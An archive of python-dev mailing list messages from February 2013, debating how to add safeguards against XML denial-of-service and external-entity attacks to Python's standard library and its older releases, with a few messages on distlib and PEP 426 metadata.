- make it possible to enable safer behaviour globally in at least 2.7
and 3.3 (and perhaps in 2.6 and 3.2 security releases as well)
- make the safer behaviour the default in 3.4
- make it possible to selectively disable the safeguards in all versions

A *possible* alternative in to step 1 is loud warnings in the docs
directing people to defusedxml, but I prefer the idea of actually
making the safeguards available directly in the standard library.

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From vinay_sajip at yahoo.co.uk  Thu Feb 21 01:53:59 2013
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: Thu, 21 Feb 2013 00:53:59 +0000 (UTC)
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
	distribution metadata 2.0
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123F791.1010201@egenix.com>
Message-ID: <loom.20130221T014112-545@post.gmane.org>

M.-A. Lemburg <mal <at> egenix.com> writes:

> The suggestion to have the metadata available on PyPI doesn't
> have anything to do with security.
> 
> It's about being able to determine compatibility and select the
> right distribution file for download. The metadata also helps in
> creating dependency graphs, which are useful for a lot of things.

FYI, distlib already uses metadata in this way. Note that:

1. Dependency information is locked away in setup.py files, e.g in kwargs to
   the setup() call.
2. PyPI does not provide access to this metadata.

So I have had to write code to extract what information I could out of setup.py
setup() and into metadata that can be used. I have, for now, hosted it on my
own server, but it can be used for e.g. determining complete dependency graphs
without ever actually downloading any distributions. Distlib provides access to
it:

$ python finddeps.py pyramid
12 dists, elapsed time: 4.35 secs
----------------------------------------
Download order:
----------------------------------------
download  setuptools (0.6c11) [for pyramid, zope.interface, zope.deprecation]
download  PasteDeploy (1.5.0) [for pyramid]
download  repoze.lru (0.6) [for pyramid]
download  venusian (1.0a7) [for pyramid]
download  MarkupSafe (0.15) [for Mako]
download  translationstring (1.1) [for pyramid]
download  Chameleon (2.11) [for pyramid]
download  WebOb (1.2.3) [for pyramid]
download  zope.interface (4.0.3) [for pyramid]
download  Mako (0.7.3) [for pyramid]
download  zope.deprecation (4.0.2) [for pyramid]
download  pyramid (1.4)

In the above, nothing was actually downloaded except the metadata. It's just
indicating an intuitive ordering for download based on a topological sort of
the dependency graph - for pyramid, in this case.

Regards,

Vinay Sajip


From vinay_sajip at yahoo.co.uk  Thu Feb 21 02:04:31 2013
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: Thu, 21 Feb 2013 01:04:31 +0000 (UTC)
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
	distribution metadata 2.0
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<CAOTb1wc2J8D0ofh63Z6ts_ywyU5DTiRhDtvOFgp9rZLw0La8ZQ@mail.gmail.com>
Message-ID: <loom.20130221T015519-329@post.gmane.org>

Chris Jerdonek <chris.jerdonek <at> gmail.com> writes:

> Maybe this is already stated somewhere, but is there a plan for when
> distlib will be brought into the repository?  Is there a reason not to
> do it now?  It seems it would have more visibility that way (e.g.
> people could see it as part of the development version of the online
> docs and it would be in check-ins as are PEP edits), and its status
> relative to Python would be clearer.

There's no firm plan other than it being on the 3.4 wishlist, but IMO there's
no rush to do it right now. AFAICT interested parties can be in the loop even
though the project is actively developed on BitBucket rather than hg.python.org:
remember that the current stakeholders in terms of packaging tools are not all
in python-dev and may find it easier to contribute on BitBucket. (I often get
comments from Daniel Holth in response to distlib commits I push to BitBucket.)
I periodically sync the BitBucket repo with hg.python.org/distlib.

The docs are also readily accessible on readthedocs.org (the first two Google
results for distlib are those docs and the project on BitBucket). While not
integrated with docs.python.org, I don't think that the distlib docs suffer
inordinately from being on readthedocs.org - for one thing, I've enabled Disqus
comments, allowing feedback on the docs - not that I've had any ;-)

Closer integration should perhaps happen, but not until the project has matured
a little.

Regards,

Vinay Sajip


From vinay_sajip at yahoo.co.uk  Thu Feb 21 02:14:21 2013
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: Thu, 21 Feb 2013 01:14:21 +0000 (UTC)
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
	distribution metadata 2.0
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
	<CACac1F91cVLNHCCowvdzugxUgGOZ_80QKL1AOZFmYp=XDLJ+uQ@mail.gmail.com>
	<kg1icp$e0n$1@ger.gmane.org>
	<CACac1F9EzJDLNmQb8B4RaAbjnU-xO2tc43T7aLA0_onMqY-7-A@mail.gmail.com>
Message-ID: <loom.20130221T021028-927@post.gmane.org>

Paul Moore <p.f.moore <at> gmail.com> writes:

> Understood - that's why I suggested that distlib reach a point where
> it's stable as an external package and supported on (some) older
> versions. I'm hoping for an experience more like unittest2 than
> packaging/distutils2.

Currently, distlib runs on Python 2.6, 2.7 and 3.2+, so there shouldn't be any
concerns about support on those older Python versions.

Regards,

Vinay Sajip


From fred at fdrake.net  Thu Feb 21 03:07:36 2013
From: fred at fdrake.net (Fred Drake)
Date: Wed, 20 Feb 2013 21:07:36 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <CADiSq7eTdC1LC3Dfn+pHs-cqv9JZ6wZVv77bzV6LwCcUZpBn6Q@mail.gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <kg3nln$tj0$1@ger.gmane.org>
	<CADiSq7eTdC1LC3Dfn+pHs-cqv9JZ6wZVv77bzV6LwCcUZpBn6Q@mail.gmail.com>
Message-ID: <CAFT4OTG6ygqsHzn4KfDPc20L5UsUpjUx+_mFAE1roRjnUbTBEA@mail.gmail.com>

On Wed, Feb 20, 2013 at 7:38 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> Christian's suggested approach sounds sane to me:

Definitely.  A strong +1 from me, FWIW these days.


  -Fred

-- 
Fred L. Drake, Jr.    <fred at fdrake.net>
"A storm broke loose in my mind."  --Albert Einstein

From barry at python.org  Thu Feb 21 03:08:42 2013
From: barry at python.org (Barry Warsaw)
Date: Wed, 20 Feb 2013 21:08:42 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <CADiSq7eTdC1LC3Dfn+pHs-cqv9JZ6wZVv77bzV6LwCcUZpBn6Q@mail.gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <kg3nln$tj0$1@ger.gmane.org>
	<CADiSq7eTdC1LC3Dfn+pHs-cqv9JZ6wZVv77bzV6LwCcUZpBn6Q@mail.gmail.com>
Message-ID: <20130220210842.7dd9d84d@anarchist.wooz.org>

On Feb 21, 2013, at 10:38 AM, Nick Coghlan wrote:

>- make it possible to enable safer behaviour globally in at least 2.7
>and 3.3 (and perhaps in 2.6 and 3.2 security releases as well)

I want to be fairly conservative with 2.6.9.

-Barry

From tseaver at palladion.com  Thu Feb 21 05:35:03 2013
From: tseaver at palladion.com (Tres Seaver)
Date: Wed, 20 Feb 2013 23:35:03 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130220210842.7dd9d84d@anarchist.wooz.org>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <kg3nln$tj0$1@ger.gmane.org>
	<CADiSq7eTdC1LC3Dfn+pHs-cqv9JZ6wZVv77bzV6LwCcUZpBn6Q@mail.gmail.com>
	<20130220210842.7dd9d84d@anarchist.wooz.org>
Message-ID: <5125A3F7.7030308@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 02/20/2013 09:08 PM, Barry Warsaw wrote:
> On Feb 21, 2013, at 10:38 AM, Nick Coghlan wrote:
> 
>> - make it possible to enable safer behaviour globally in at least
>> 2.7 and 3.3 (and perhaps in 2.6 and 3.2 security releases as well)
> 
> I want to be fairly conservative with 2.6.9.

I believe that the same rationale should apply as that for adding hash
randomization in 2.6.8:  this is at least as bad a vulnerability, with
many more vectors of attack.


Tres
- -- 
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with undefined - http://www.enigmail.net/

iEYEARECAAYFAlElo/cACgkQ+gerLs4ltQ4urQCg2Kyr6CKZPp35fAK1G4OtzYc+
XD8An0fJZw5DHRxg1JPe9AzcLqpvRZc5
=hmpM
-----END PGP SIGNATURE-----


From barry at python.org  Thu Feb 21 05:53:50 2013
From: barry at python.org (Barry Warsaw)
Date: Wed, 20 Feb 2013 23:53:50 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <kg3nln$tj0$1@ger.gmane.org>
	<CADiSq7eTdC1LC3Dfn+pHs-cqv9JZ6wZVv77bzV6LwCcUZpBn6Q@mail.gmail.com>
	<20130220210842.7dd9d84d@anarchist.wooz.org>
	<5125A3F7.7030308@palladion.com>
Message-ID: <20130220235350.3a5d60e6@anarchist.wooz.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

On Feb 20, 2013, at 11:35 PM, Tres Seaver wrote:

>I believe that the same rationale should apply as that for adding hash
>randomization in 2.6.8:  this is at least as bad a vulnerability, with
>many more vectors of attack.

Except that I really want to EOL 2.6 in October as per schedule, and I really
don't want a 2.6.10.  So if we get the API changes wrong in 2.6.9 there won't
be much of an opportunity to correct it.  Also, in 2.6, hash randomization is
opt-in so the default didn't change.

Cheers,
- -Barry
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBCAAGBQJRJaheAAoJEBJutWOnSwa/A2sQAK0HnPQCG87vEVj7hpfp1h7o
8mVDpf8VyZtfVIhwJLmb106DCe3mWb+UZLf4ks16zSQfy1JVxNl179VESqDgOD30
RTC0/esArDzpVbCOKf0mepyYflQEnrA0FR/URAJVoqjGDlPSPr6vneWX2fOPGwn7
VsgzHzyqHs5k+JLTn9piDKLfW6LXWQOYl+oPF/T60SnYZTs8y6E00n9i2kLPaWy+
UMSnAC3jQMtgfhzPnXgPrlzVh4/ojYYnBVdhZYKGroBx4JGt7UDph1koFck7CRTD
yJuVQ4QzsbtEF0/SyJVORWTh2N3jxEA7qWFIDQ8kif+Tqqfz/bujSud8SEK7dLuZ
IPinvL2K9lD722RJjhmcMyfsrCJxafF2YbkdWyNr2zMlx6FO/oQWCbDVPBaZlu8+
cZyzF+JJiIM+ljlqL9dy5w156JxfQ5eh5h5ocZ/OiUisiKY93zT9j2hOM82bbo+/
QIWmMf2wPl277awbvw3+9GDi4xdgK0GJB/4BVOYBXy0/b2q2n5oHyHACJCoUtDyv
AVCT+Hfw5Nu1ZIm3AU329gFeBPjEvl8+YsbiQf4hqsp40fnY7GzhRFb8HTwCZVmu
amOWyeTg9f7dtF/sOwEpc/UGcCjJdBklrbndpNZ0f9gZF+FwncxbJThrTztlxaDY
7eT2EYRJsnLW5XiZTilj
=HXz8
-----END PGP SIGNATURE-----

From stefan_ml at behnel.de  Thu Feb 21 07:37:36 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Thu, 21 Feb 2013 07:37:36 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
Message-ID: <kg4fbd$v3s$1@ger.gmane.org>

Maciej Fijalkowski, 20.02.2013 21:17:
> On Wed, Feb 20, 2013 at 8:24 PM, Christian Heimes wrote:
>> Am 20.02.2013 17:25, schrieb Benjamin Peterson:
>>> Are these going to become patches for Python, too?
>>
>> I'm working on it. The patches need to be discussed as they break
>> backward compatibility and AFAIK XML standards, too.
> 
> That's not very good. XML parsers are supposed to parse XML according
> to standards.

I think we can shorten this discussion to "this is a serious problem that
needs to be fixed". If that involves taking the freedom that the XML
standard leaves about processing DTDs, then I think we shouldn't be
throwing any high-level bike shedding at it.

Consulting the standard actually helps.

Stefan



From solipsis at pitrou.net  Thu Feb 21 07:42:11 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 07:42:11 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <61507EB6652B465EB8F1B8D69EEA4002@gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net>
	<61507EB6652B465EB8F1B8D69EEA4002@gmail.com>
Message-ID: <20130221074211.7cbadcff@pitrou.net>

On Wed, 20 Feb 2013 18:45:10 -0500
Donald Stufft <donald.stufft at gmail.com> wrote:
> 
> No software you run on your computer grabs data from someone you don't trust
> and it all validates that even though you trust them they haven't been exploited?

What the hell do you mean exactly? There are other reasons to validate
data than just "security".

> Like I said these sort of things are often caused by chaining several unrelated
> things together.

At this points this sounds like fear-mongering.

Regards

Antoine.

From solipsis at pitrou.net  Thu Feb 21 07:53:12 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 07:53:12 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
Message-ID: <20130221075312.4485ad58@pitrou.net>

On Thu, 21 Feb 2013 11:37:47 +1100
Steven D'Aprano <steve at pearwood.info> wrote:
> 
> It's easy to forget that malware existed long before the Internet. The internet is just a transmission vector, it is not the source of malicious files. The source of malicious files is *other people*, and unless you never use XML files you didn't generate yourself, you cannot completely trust the source. You might trust your colleagues to not *intentionally* pass you a malicious XML file, but they may still do so accidentally.

That's in theory very nice, but in practice security in everyday
computing hasn't really been a concern before the massification of
Internet access.

(yes, there have been viruses on mainstream platforms such as the
Amiga, but it was pretty minor compared to nowadays, and nobody cared
about potential DoS attacks for example)

So, as for XML files, we are talking about a DoS vulnerability. It
will take more than a single file to make a DoS attack really
annoying, which means the attacker must pollute the source of those XML
files in a systemic way. It's not "a single XML file will smuggle
confidential data out of the building".

Regards

Antoine.



From solipsis at pitrou.net  Thu Feb 21 07:56:11 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 07:56:11 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <kg3nln$tj0$1@ger.gmane.org>
	<CADiSq7eTdC1LC3Dfn+pHs-cqv9JZ6wZVv77bzV6LwCcUZpBn6Q@mail.gmail.com>
Message-ID: <20130221075611.35bedd2b@pitrou.net>

On Thu, 21 Feb 2013 10:38:07 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Thu, Feb 21, 2013 at 9:49 AM, Tres Seaver <tseaver at palladion.com> wrote:
> > Two words:  "hash randomization".  If it applies to one, it applies to
> > the other.
> 
> Agreed. Christian's suggested approach sounds sane to me:
> 
> - make it possible to enable safer behaviour globally in at least 2.7
> and 3.3 (and perhaps in 2.6 and 3.2 security releases as well)
> - make the safer behaviour the default in 3.4
> - make it possible to selectively disable the safeguards in all versions

+1 from me.

Regards

Antoine.



From tseaver at palladion.com  Thu Feb 21 08:29:08 2013
From: tseaver at palladion.com (Tres Seaver)
Date: Thu, 21 Feb 2013 02:29:08 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221075312.4485ad58@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
Message-ID: <5125CCC4.3080501@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 02/21/2013 01:53 AM, Antoine Pitrou wrote:
> On Thu, 21 Feb 2013 11:37:47 +1100 Steven D'Aprano
> <steve at pearwood.info> wrote:
>> 
>> It's easy to forget that malware existed long before the Internet.
>> The internet is just a transmission vector, it is not the source of
>> malicious files. The source of malicious files is *other people*,
>> and unless you never use XML files you didn't generate yourself, you
>> cannot completely trust the source. You might trust your colleagues
>> to not *intentionally* pass you a malicious XML file, but they may
>> still do so accidentally.
> 
> That's in theory very nice, but in practice security in everyday 
> computing hasn't really been a concern before the massification of 
> Internet access.
> 
> (yes, there have been viruses on mainstream platforms such as the 
> Amiga, but it was pretty minor compared to nowadays, and nobody cared 
> about potential DoS attacks for example)
> 
> So, as for XML files, we are talking about a DoS vulnerability. It 
> will take more than a single file to make a DoS attack really 
> annoying, which means the attacker must pollute the source of those
> XML files in a systemic way. It's not "a single XML file will smuggle 
> confidential data out of the building".

Antoine,

A single, small,, malicious XML file can kill a machine (not just the
process parsing it) by sucking all available RAM.  We are talking hard
lockup, reboot-to-fix-it sorts of DOC here.



Tres.
- -- 
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with undefined - http://www.enigmail.net/

iEYEARECAAYFAlElzMQACgkQ+gerLs4ltQ7fDQCgmvvurNi5VtWA+4mqcz4tpUhR
rNUAnRtpcKMFCM3z8qRKNfinAE9ly9fX
=y+eM
-----END PGP SIGNATURE-----


From solipsis at pitrou.net  Thu Feb 21 08:42:46 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 08:42:46 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
Message-ID: <20130221084246.579fd260@pitrou.net>

On Thu, 21 Feb 2013 02:29:08 -0500
Tres Seaver <tseaver at palladion.com> wrote:
> 
> Antoine,
> 
> A single, small,, malicious XML file can kill a machine (not just the
> process parsing it) by sucking all available RAM.  We are talking hard
> lockup, reboot-to-fix-it sorts of DOC here.

Sure, but in many instances, rebooting a machine is not
business-threatening. You will have a couple of minutes' downtime and
that's all. Which is why the attack must be repeated many times to be a
major annoyance.

Regards

Antoine.



From solipsis at pitrou.net  Thu Feb 21 10:23:34 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 10:23:34 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<51255CB0.8060706@python.org>
Message-ID: <20130221102334.1cc654f3@pitrou.net>

Le Thu, 21 Feb 2013 00:30:56 +0100,
Christian Heimes <christian at python.org> a ?crit :
> Am 21.02.2013 00:08, schrieb Antoine Pitrou:
> > Not everyone is a security nuts.
> 
> But, but, but ... it's fun to be paranoid! You get so many new
> potential enemies. :)

If you like being paranoid, there are other things than security to
be paranoid about: reference cycles, performance on micro-benchmarks,
memory consumption of docstrings, etc. :-)

Regards

Antoine.



From christian at python.org  Thu Feb 21 10:54:02 2013
From: christian at python.org (Christian Heimes)
Date: Thu, 21 Feb 2013 10:54:02 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221102334.1cc654f3@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<51255CB0.8060706@python.org> <20130221102334.1cc654f3@pitrou.net>
Message-ID: <kg4qrm$eb$1@ger.gmane.org>

Am 21.02.2013 10:23, schrieb Antoine Pitrou:
> If you like being paranoid, there are other things than security to
> be paranoid about: reference cycles, performance on micro-benchmarks,
> memory consumption of docstrings, etc. :-)

snappy(__doc__)?

http://code.google.com/p/snappy/

Christian


From christian at python.org  Thu Feb 21 11:18:35 2013
From: christian at python.org (Christian Heimes)
Date: Thu, 21 Feb 2013 11:18:35 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130221084246.579fd260@pitrou.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net>
Message-ID: <5125F47B.3010607@python.org>

Am 21.02.2013 08:42, schrieb Antoine Pitrou:
> Sure, but in many instances, rebooting a machine is not
> business-threatening. You will have a couple of minutes' downtime and
> that's all. Which is why the attack must be repeated many times to be a
> major annoyance.

Is this business-threatening enough?

https://pypi.python.org/pypi/defusedxml#external-entity-expansion-remote

* An attacker can circumvent firewalls and gain access to restricted
resources as all the requests are made from an internal and trustworthy
IP address, not from the outside.

* An attacker can abuse a service to attack, spy on or DoS your servers
but also third party services. The attack is disguised with the IP
address of the server and the attacker is able to utilize the high
bandwidth of a big machine.

* An attacker can exhaust additional resources on the machine, e.g. with
requests to a service that doesn't respond or responds with very large
files.

* An attacker may gain knowledge, when, how often and from which IP
address a XML document is accessed.

* An attacker could send mail from inside your network if the URL
handler supports smtp:// URIs.


From solipsis at pitrou.net  Thu Feb 21 11:32:53 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 21 Feb 2013 11:32:53 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
Message-ID: <20130221113253.20e8b28f@pitrou.net>

Le Thu, 21 Feb 2013 11:18:35 +0100,
Christian Heimes <christian at python.org> a ?crit :
> Am 21.02.2013 08:42, schrieb Antoine Pitrou:
> > Sure, but in many instances, rebooting a machine is not
> > business-threatening. You will have a couple of minutes' downtime
> > and that's all. Which is why the attack must be repeated many times
> > to be a major annoyance.
> 
> Is this business-threatening enough?
> 
> https://pypi.python.org/pypi/defusedxml#external-entity-expansion-remote

You haven't proved that these were actual threats, nor how they
actually worked. I'm gonna remain skeptical if there isn't anything
more precise than "It highly depends on the parser and the application
what kind of exploit is possible".

Regards

Antoine.



From jnoller at gmail.com  Thu Feb 21 12:05:52 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 21 Feb 2013 06:05:52 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
